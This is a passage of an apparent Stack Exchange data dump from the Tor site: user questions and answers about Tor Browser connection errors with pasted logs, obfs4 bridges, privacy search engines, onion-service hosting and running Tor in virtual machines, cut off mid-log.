  <row Id="17420" PostTypeId="1" CreationDate="2018-07-13T10:58:24.120" Score="0" ViewCount="323" Body="&lt;p&gt;When you start tor you can choose connection type using obfs4 proxy. How Tor browser gets the list of obfs4proxy ? It download it using clearnet ?&lt;/p&gt;&#xA;" OwnerUserId="22530" LastActivityDate="2022-03-29T16:01:35.260" Title="How tor browser gets obfs4proxy?" Tags="|tor-browser-bundle|configuration|obfsproxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17423" PostTypeId="1" CreationDate="2018-07-13T19:09:20.053" Score="-2" ViewCount="274" Body="&lt;p&gt;I have installed Tor Browser Version 7.5.6 - OS X (10.9+) for my Mac Book Pro, but can't start the browser. I click &quot;Connect&quot; and &quot;Remove settings and connect&quot; but I get the errors that I have pasted in this post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help me with this problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pm9ij.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pm9ij.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WxyIS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WxyIS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;13/07/2018, 20.51.53.000 [NOTICE] You configured a non-loopback address '10.0.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;13/07/2018, 20.51.53.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;13/07/2018, 20.51.53.000 [NOTICE] Switching to guard context &quot;default&quot; (was using &quot;bridges&quot;) &#xA;13/07/2018, 20.51.53.000 [NOTICE] You configured a non-loopback address '10.0.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;13/07/2018, 20.51.53.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;13/07/2018, 20.51.53.000 [NOTICE] You configured a non-loopback address '10.0.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;13/07/2018, 20.51.53.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;13/07/2018, 20.51.53.000 [NOTICE] You configured a non-loopback address '10.0.0.1:9150' for SocksPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted. &#xA;13/07/2018, 20.51.53.000 [NOTICE] Opening Socks listener on 10.0.0.1:9150 &#xA;13/07/2018, 20.51.53.000 [WARN] Could not bind to 10.0.0.1:9150: Can't assign requested address &#xA;13/07/2018, 20.51.53.000 [WARN] Controller gave us config lines that didn't validate: Failed to bind one of the listener ports. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22534" LastEditorUserId="5234" LastEditDate="2019-02-27T12:19:48.050" LastActivityDate="2019-02-27T12:19:48.050" Title="Can't run Tor on Mac Book pro" Tags="|help|mac|connection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17425" PostTypeId="2" ParentId="3815" CreationDate="2018-07-14T13:38:46.793" Score="0" Body="&lt;p&gt;When I used ARM to monitor my tor relay I noticed it wants to configure its own tor connection on ports 443 and 80(?) and wants to run the service as root user.&#xA;I already had opened other ports in my router which I had written in torrc and was running tor as a normal user, so ARM tried to connect several times and then quit after showing its own bandwith usage for the unsuccesful connections.&#xA;As I didnt want to have two config files for one tor relay I just kicked ARM.&lt;/p&gt;&#xA;" OwnerUserId="22543" LastActivityDate="2018-07-14T13:38:46.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17426" PostTypeId="2" ParentId="17417" CreationDate="2018-07-14T19:55:36.457" Score="2" Body="&lt;p&gt;well nobody will be able to tell you &lt;em&gt;&quot;How safe are they exactly&quot;&lt;/em&gt;, especially as long as you don't describe exactly what you mean with &lt;em&gt;&quot;see a user's traffic&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;but to make it easily understandable and not jump deeper into advanced technical details - as &lt;a href=&quot;https://tor.stackexchange.com/users/22285/skarz&quot;&gt;&lt;strong&gt;&lt;em&gt;skarz&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; partly mentioned, just using &lt;strong&gt;HTTPS&lt;/strong&gt; and &lt;strong&gt;HSTS&lt;/strong&gt; will do the trick. so usually exit nodes will only see, that some Tor-user is surfing on site &quot;www.domain.tld&quot;, but nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm pretty sure this site is very interesting for you and playing a little bit around with it will make things clear:&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are still interested into a little bit more details, &lt;a href=&quot;https://tor.stackexchange.com/a/228/5234&quot;&gt;this is a still not techy more detailed answer&lt;/a&gt; to a more concrete question.&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-07-14T20:04:02.273" LastActivityDate="2018-07-14T20:04:02.273" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17430" PostTypeId="1" CreationDate="2018-07-17T11:20:14.253" Score="1" ViewCount="1750" Body="&lt;p&gt;I am new to linux and am using Antergos with Deepin. I have installed Tor, but can't seem to open it. I tried from terminal, but get the following. Any advice?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 17 21:10:27.072 [notice] Tor 0.3.3.9 (git-45028085ea188baf) running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.0h, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd N/A.&#xA;Jul 17 21:10:27.072 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jul 17 21:10:27.101 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Jul 17 21:10:27.135 [notice] Scheduler type KIST has been enabled.&#xA;Jul 17 21:10:27.135 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Jul 17 21:10:27.135 [warn] Directory /var/lib/tor cannot be read: Permission denied&#xA;Jul 17 21:10:27.135 [warn] Failed to parse/validate config: Couldn't create private data directory &quot;/var/lib/tor&quot;&#xA;Jul 17 21:10:27.135 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22566" LastEditorUserId="88" LastEditDate="2020-10-24T07:53:55.810" LastActivityDate="2022-03-18T11:02:45.277" Title="I can't open Tor on linux" Tags="|configuration|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17431" PostTypeId="1" CreationDate="2018-07-17T12:30:29.650" Score="0" ViewCount="535" Body="&lt;p&gt;Before I installed Tor, I tried to set the about:config menu in firefox to be rid of google. If I receive an answer, please observe that I am a super beginner without an inclination for programming. I need simple instructions like the installation instructions on torproject.org. Anyways, now all the google permissions and interference is back after downloading Tor and it seems the results are censored and filtered and mostly a waste of time. Please can you direct me to configure with the goal of an uncensored and direct search experience....Like Google used to be ten years ago. What search engine should I use and how can I make sure no other entities are interfering? &lt;/p&gt;&#xA;" OwnerUserId="22568" LastActivityDate="2022-03-30T02:06:15.480" Title="how do i set up firefox/tor searches to be the MOST UNCENSORED AND UNFILTERED" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17435" PostTypeId="2" ParentId="17420" CreationDate="2018-07-18T05:30:27.803" Score="0" Body="&lt;p&gt;Tor Browser comes with a bunch of &lt;code&gt;obfs4&lt;/code&gt; bridges, which is put into Tor Launcher at build time. Tor Browser also has a mechanism called &lt;a href=&quot;https://gitweb.torproject.org/bridgedb.git/tree/README.rst#n411&quot; rel=&quot;nofollow noreferrer&quot;&gt;Moat&lt;/a&gt;, which, if possible, fetches fresh bridges from BridgeDB. All those can be configured in &lt;a href=&quot;https://gitweb.torproject.org/tor-launcher.git/tree/src/defaults/preferences/prefs.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;prefs.js&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2018-07-18T05:30:27.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17436" PostTypeId="2" ParentId="17431" CreationDate="2018-07-18T09:54:10.220" Score="0" Body="&lt;p&gt;If you want a verifieably uncensored search engine, you'd probably have to build it your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there are some alternatives:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/asciimoo/searx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Searx&lt;/a&gt; (Open source meta search engine)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.findx.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Findx&lt;/a&gt; by Privacore (Open source search engine)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://duckduckgo.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Duckduckgo&lt;/a&gt; - alternatively as &lt;a href=&quot;https://3g2upl4pq6kufc4m.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;hidden service&lt;/a&gt; (Privacy respecting search engine with a large set of instant answers)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://startpage.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Startpage&lt;/a&gt; (Privacy respecting search engine that uses the search results from Google)&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are surely more privacy respecting search engine alternatives to Google. These listed here are just a small percentage of all privacy repsecting searche engines.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can you make sure no other entities are interfering with your search results:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure you use &lt;code&gt;https&lt;/code&gt; when connecting to a search engine (This prevents an attacker to modify the search results on their way from the search engine to you)&lt;/li&gt;&#xA;&lt;li&gt;Use a self hostable alternative (like privx or searx*).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;*Since search results are retrieved from other search engines certain websites may be still censored.&lt;/p&gt;&#xA;" OwnerUserId="20628" LastActivityDate="2018-07-18T09:54:10.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17438" PostTypeId="1" AcceptedAnswerId="17439" CreationDate="2018-07-18T22:42:04.463" Score="4" ViewCount="3184" Body="&lt;p&gt;I would like to understand how websites on the dark web hosted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What software is used for hosting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it different from hosting a normal website?&lt;/p&gt;&#xA;" OwnerUserId="22558" LastActivityDate="2019-03-06T17:31:58.790" Title="How are Tor websites hosted?" Tags="|web-hosting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17439" PostTypeId="2" ParentId="17438" CreationDate="2018-07-18T23:34:00.337" Score="3" Body="&lt;p&gt;It is the same as hosting a regular website, but it is routed through and only reachable through the tor network. You setup a website using the ngnix (reccomended for security) web server. You set it up to only listen  to your localhost (127.0.0.1) so it is not reachable by the regular  web. You then setup a tor server and configure it to generate a .onion address and port forward all traffic coming to it to the ngnix server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So someone connects to your onion address hejfhfieh.onion on port 80. It travels through the tor network to your tor server. The tor server then port forwards its traffic from hejfhfieh.onion:80 to 127.0.0.1:4732.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course those are just examples, your onion address will be different, and you can use any ports you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helped you understand it better. There are several guides you can follow to setup your own hidden service.&lt;/p&gt;&#xA;" OwnerUserId="21788" LastActivityDate="2018-07-18T23:34:00.337" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17440" PostTypeId="2" ParentId="17430" CreationDate="2018-07-18T23:51:26.823" Score="1" Body="&lt;p&gt;Tor will not start if it does not have the correct permissions for the directories its trying to use. It is telling you exactly what the problem is. It does not have permission to create the tor directory in /var/lib. Create the directory /var/lib/tor manually, and give it the correct permissions for the user tor is running under, usually named debian-tor.&lt;/p&gt;&#xA;" OwnerUserId="21788" LastActivityDate="2018-07-18T23:51:26.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17448" PostTypeId="2" ParentId="12650" CreationDate="2018-07-20T20:55:27.543" Score="0" Body="&lt;p&gt;I have managed to fix this issue by &lt;strong&gt;disabling&lt;/strong&gt; Windows Firewall, &#xA;for all 3 profiles - &quot;Private&quot;, &quot;Work&quot;, &quot;Domain&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those of us who use a third-party firewall forget to disable the native Windows&#xA;Firewall which continues to run side-by-side with the third-party firewall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, check for Windows Firewall to be disabled even if you have already installed another Firewall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To open the Windows Firewall settings, press on your keyboard &quot;WIN + R&quot; to open the &quot;Run&quot; window,&#xA;then type &quot;wf.msc&quot; and press ENTER.&#xA;(wf.msc = &lt;strong&gt;w&lt;/strong&gt;indows &lt;strong&gt;f&lt;/strong&gt;irewall &lt;strong&gt;m&lt;/strong&gt;icro&lt;strong&gt;s&lt;/strong&gt;oft &lt;strong&gt;c&lt;/strong&gt;onsole)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue with Tor happens because all other non-Microsoft firewalls usually ask the user to accept/deny unknown connections, but Windows Firewall sometimes decides instead of you to deny some connections, without even asking, so that was preventing the Tor Browser from connecting to the Tor control port in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, I have installed a third-party firewall instead of Windows Firewall and disabled Windows Firewall and now Tor works fine.&lt;/p&gt;&#xA;" OwnerUserId="22596" LastActivityDate="2018-07-20T20:55:27.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17449" PostTypeId="1" AcceptedAnswerId="17480" CreationDate="2018-07-21T10:37:31.903" Score="0" ViewCount="336" Body="&lt;p&gt;as I've recently discovered Deep Web, I'm still not able to explore it well. It seems to me, however, that in order to access and view videos, one must always pay (in Bitcoin). But I would like to ask, are there any links with videos that are completely free? Or do you always have to pay to get full access to the Deep Web sites? Thanks so much&lt;/p&gt;&#xA;" OwnerUserId="22575" LastActivityDate="2018-08-07T15:37:32.550" Title="Application for the Deep Web" Tags="|help|" AnswerCount="2" CommentCount="0" ClosedDate="2018-08-07T19:19:33.987" ContentLicense="CC BY-SA 4.0" />
  <row Id="17451" PostTypeId="1" CreationDate="2018-07-21T17:10:56.590" Score="0" ViewCount="708" Body="&lt;p&gt;How can I completely delete the Tor browser from my computer&lt;/p&gt;&#xA;" OwnerUserId="22605" LastActivityDate="2018-07-22T07:57:54.837" Title="Deleing Tor browser from my windows 10 computer" Tags="|connection|" AnswerCount="1" CommentCount="0" ClosedDate="2018-07-26T22:27:15.550" ContentLicense="CC BY-SA 4.0" />
  <row Id="17454" PostTypeId="1" CreationDate="2018-07-21T23:59:07.860" Score="0" ViewCount="4771" Body="&lt;p&gt;I'm using Windows 10 on my PC. I have installed VMWare on it and I'm running Solus Linux in live mode. Is it safe or I have to install linux completely for further security?&lt;/p&gt;&#xA;" OwnerUserId="22612" LastActivityDate="2022-04-09T21:02:55.277" Title="Accessing deep web with virtual machine on Windows" Tags="|security|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17455" PostTypeId="2" ParentId="17333" CreationDate="2018-07-22T03:58:22.687" Score="0" Body="&lt;p&gt;Tor can't protect. If they know your physical location (usually obtained by mobile GPS, IMEI Tracking), high possibility that your internet line and Router is hacked.they stay in memory sends data to attacker. Tor, Tails, any OS won't stop them. It is easy to identify Tor user but hard to prove the traffic is belong to the target(as an evidence to be provided to a court) even they know you are using tor and snooping your computer screen. In short, you are not protected. &lt;/p&gt;&#xA;" OwnerUserId="22615" LastActivityDate="2018-07-22T03:58:22.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17456" PostTypeId="2" ParentId="17451" CreationDate="2018-07-22T07:57:54.837" Score="0" Body="&lt;p&gt;Delete the Tor Browser folder and the desktop and start menu shortcuts.&lt;/p&gt;&#xA;" OwnerUserId="22609" LastActivityDate="2018-07-22T07:57:54.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17458" PostTypeId="2" ParentId="17454" CreationDate="2018-07-23T07:04:06.863" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;the question is: is it safe for or against what?&lt;/li&gt;&#xA;&lt;li&gt;there is no absolute 100% safety: security is a process, not a product/software/app!&lt;/li&gt;&#xA;&lt;li&gt;if your host-system is compromised or unsafe (which i would consider default windows 10 to be), your guest must also be considered as unsafe/compromised.&lt;/li&gt;&#xA;&lt;li&gt;running a live-system - from an unwritable media (CD/DVD) - is even more secure than using an installed system, whether in a virtual machine or not: eventual (not hardware-related) malware is easily gone after a reboot and so is also every additional software/data to possibly track you.&lt;/li&gt;&#xA;&lt;li&gt;i don't expand on hardware related issues to keep it somehow easily understandable, but your hardware can also be compromised, which makes it nearly irrelevant which software (programms and OS) you are running.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;TL;DR:&lt;br&gt;&#xA;for maximum safety with not that much more effort (WARNING: trade-off), i would advise to&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;use &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; directly on your machine from a liveDVD and update it immediately.&lt;/li&gt;&#xA;&lt;li&gt;change as less as possible in the live session (only if you really, really know what you are doing and completely understand its consequences).&lt;/li&gt;&#xA;&lt;li&gt;follow the Tor rules: &lt;a href=&quot;https://www.torproject.org/download/download.html.en#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;Want Tor to really work?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;read and understand the Tails warnings: &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/doc/about/warning/index.en.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-10-27T13:40:11.927" LastActivityDate="2018-10-27T13:40:11.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17459" PostTypeId="2" ParentId="17412" CreationDate="2018-07-23T18:48:55.953" Score="0" Body="&lt;p&gt;I got this answer from a colleague:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the cause is running multiple Tor instances which share the same data directory (~/.tor by default). The lock file in that directory will prevent you from doing so. Did you have more than one Tor process running on the VM? If you want multiple Tor processes for some reason, perhaps you need to run each process using a different data directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the DataDirectory in the torrc files as shown in this post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/14321214/how-to-run-multiple-tor-processes-at-once-with-different-exit-ips&quot;&gt;https://stackoverflow.com/questions/14321214/how-to-run-multiple-tor-processes-at-once-with-different-exit-ips&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22504" LastActivityDate="2018-07-23T18:48:55.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17461" PostTypeId="1" CreationDate="2018-07-23T22:43:01.547" Score="2" ViewCount="6829" Body="&lt;p&gt;I found that the Tails has been &lt;a href=&quot;https://tails.boum.org/blueprint/evaluate_Docker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;evaluating Docker&lt;/a&gt;. However, I'd like to have a Docker image that connects only through Tor. I'm happy with setting my own proxy. Is there a recipe to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I expect: Run a docker container from an image, and get into a terminal where the VM can only connect to Internet through Tor. I'm happy with a Docker file that can do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my question is still ambiguous, please feel free to ask for more details.&lt;/p&gt;&#xA;" OwnerUserId="21731" LastActivityDate="2022-02-15T21:00:00.023" Title="Is it possible to run a Docker container that connects to internet only through Tor?" Tags="|tails|proxy|torsocks|virtual-machine|virtualisation|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="17462" PostTypeId="2" ParentId="13615" CreationDate="2018-07-24T00:54:41.687" Score="0" Body="&lt;p&gt;It sounds a little like you want to run a relay and use Tor browser at the same time. Tor doesn't recommend you do both from the same computer simultaneously as they can interact in unexpected ways that could compromise the security of either service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to be able to run one or the other at your discrection at different times from the same computer, I recommend storing them in different locations (eg. you should not use the same torrc file for both your bridge and your browser)&lt;/p&gt;&#xA;" OwnerUserId="22577" LastActivityDate="2018-07-24T00:54:41.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17468" PostTypeId="1" CreationDate="2018-07-25T21:09:09.807" Score="0" ViewCount="295" Body="&lt;p&gt;I´m using a netbook with windows xp.&#xA;Here is the log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7/25/2018 21:04:40 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;7/25/2018 21:04:40 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;7/25/2018 21:04:40 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;7/25/2018 21:04:40 PM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;7/25/2018 21:04:40 PM.800 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;7/25/2018 21:04:41 PM.300 [NOTICE] Bootstrapped 5%: Connecting to directory server&#xA;7/25/2018 21:04:42 PM.200 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server&#xA;7/25/2018 21:04:43 PM.900 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection&#xA;7/25/2018 21:04:44 PM.200 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus&#xA;7/25/2018 21:04:44 PM.500 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus&#xA;7/25/2018 21:04:59 PM.500 [NOTICE] Bootstrapped 45%: Asking for relay descriptors&#xA;7/25/2018 21:04:59 PM.500 [NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 3414/6374, and can only build 29% of likely paths. (We have 67% of guards bw, 62% of midpoint bw, and 70% of exit bw = 29% of path bw.)&#xA;7/25/2018 21:05:01 PM.300 [NOTICE] Bootstrapped 64%: Loading relay descriptors&#xA;7/25/2018 21:05:04 PM.600 [NOTICE] Bootstrapped 72%: Loading relay descriptors&#xA;7/25/2018 21:05:05 PM.300 [NOTICE] Bootstrapped 77%: Loading relay descriptors&#xA;7/25/2018 21:05:05 PM.700 [NOTICE] Bootstrapped 80%: Connecting to the Tor network&#xA;7/25/2018 21:05:05 PM.900 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:05 PM.900 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:06 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:06 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:07 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:07 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:08 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:08 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:09 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:09 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:10 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:10 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:11 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:11 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:12 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:12 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:13 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:13 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:14 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:14 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:15 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:15 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:16 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:16 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:17 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:17 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:18 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:18 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:19 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:19 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:20 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:20 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:21 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:21 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:22 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:22 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:23 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:23 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:24 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:24 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:25 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:25 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:26 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:26 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:27 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:27 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:28 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:28 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:29 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:29 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:30 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:30 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:31 PM.600 [WARN] Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;7/25/2018 21:05:31 PM.600 [WARN] Failed to find node for hop #1 of our 